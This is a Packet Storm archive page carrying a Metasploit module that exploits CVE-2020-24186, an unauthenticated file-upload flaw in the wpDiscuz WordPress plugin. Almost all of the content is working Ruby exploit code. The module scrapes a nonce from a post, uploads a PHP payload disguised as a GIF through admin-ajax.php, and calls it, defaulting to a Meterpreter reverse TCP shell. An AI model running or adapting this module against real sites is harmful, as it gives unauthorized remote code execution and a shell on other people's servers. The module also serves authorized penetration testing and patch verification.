exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress wpDiscuz 7.0.4 Shell Upload

WordPress wpDiscuz 7.0.4 Shell Upload
Posted Jun 28, 2021
Authored by Hoa Nguyen, Chloe Chamberland | Site metasploit.com

This Metasploit module exploits an arbitrary file upload in the WordPress wpDiscuz plugin versions from 7.0.0 through 7.0.4. This flaw gave unauthenticated attackers the ability to upload arbitrary files, including PHP files, and achieve remote code execution on a vulnerable server.

tags | exploit, remote, arbitrary, php, code execution, file upload
advisories | CVE-2020-24186
SHA-256 | fab2eeb88db6a1f9b11eed6c490a6ca021dd6f8237a47b405d41bd041a36af45

WordPress wpDiscuz 7.0.4 Shell Upload

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress wpDiscuz Unauthenticated File Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary file upload in the WordPress wpDiscuz plugin
versions >= `7.0.0` and <= `7.0.4`. This flaw gave unauthenticated attackers the ability
to upload arbitrary files, including PHP files, and achieve remote code execution on a
vulnerable site’s server.
},
'Author' =>
[
'Chloe Chamberland', # Vulnerability Discovery, initial msf module
'Hoa Nguyen - SunCSR' # Metasploit Module enhancement
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2020-24186'],
['WPVDB', '10333'],
['URL', 'https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/'],
['URL', 'https://github.com/suncsr/wpDiscuz_unauthenticated_arbitrary_file_upload/blob/main/README.md'],
['URL', 'https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['wpDiscuz < 7.0.5', {}]],
'DisclosureDate' => '2020-02-21',
'DefaultOptions' =>
{
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)

register_options [
OptString.new('BLOGPATH', [true, 'Link to the post [/index.php/2020/12/12/post1]', nil]),
]
end

def check
check_plugin_version_from_readme('wpdiscuz', '7.0.5', '7.0.0')
end

def blogpath
datastore['BLOGPATH']
end

def find_wmusecurity_id
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, blogpath) })
fail_with(Failure::UnexpectedReply, 'Failed to access blog page') unless res

wmusecurity_id = res.body.match(/wmuSecurity":"(\w+)/)&.captures
unless wmusecurity_id
fail_with(Failure::NotFound, 'Failed to retrieve the wmusecurity id')
end

wmusecurity_id
end

def exploit
wmusecurity_id = find_wmusecurity_id[0]
php_page_name = "#{rand_text_alpha(5..12)}.php"
data = Rex::MIME::Message.new
data.add_part('wmuUploadFiles', nil, nil, 'form-data; name="action"')
data.add_part(wmusecurity_id, nil, nil, 'form-data; name="wmu_nonce"')
data.add_part('undefined', nil, nil, 'form-data; name="wmuAttachmentsData"')
data.add_part('1', nil, nil, 'form-data; name="postId"')
data.add_part("GIF8#{payload.encoded}", 'image/gif', nil, "form-data; name=\"wmu_files[0]\"; filename=\"#{php_page_name}\"")
post_data = data.to_s

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)

fail_with(Failure::UnexpectedReply, 'Server did not respond') unless res
unless res.code == 200 && res.body =~ /#{php_page_name}/
fail_with(Failure::UnexpectedReply, 'Unable to deploy payload')
end

json_data = JSON.parse(res.body)
upload_url = json_data.dig('data', 'previewsData', 'images', 0, 'url')
fail_with(Failure::UnexpectedReply, "#{peer} - Upload was unsuccessful") unless upload_url
wp_shell_upload = upload_url.split('/').last
fail_with(Failure::NotFound, "#{peer} - Path not found in response body") unless wp_shell_upload.ends_with?('.php')
print_good("Payload uploaded as #{php_page_name}")
register_file_for_cleanup(php_page_name)

print_status('Calling payload...')
time = Time.new
year = time.year.to_s
month = format('%02d', time.month)
send_request_cgi(
{ 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', year.to_s, month.to_s, wp_shell_upload) }
)
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close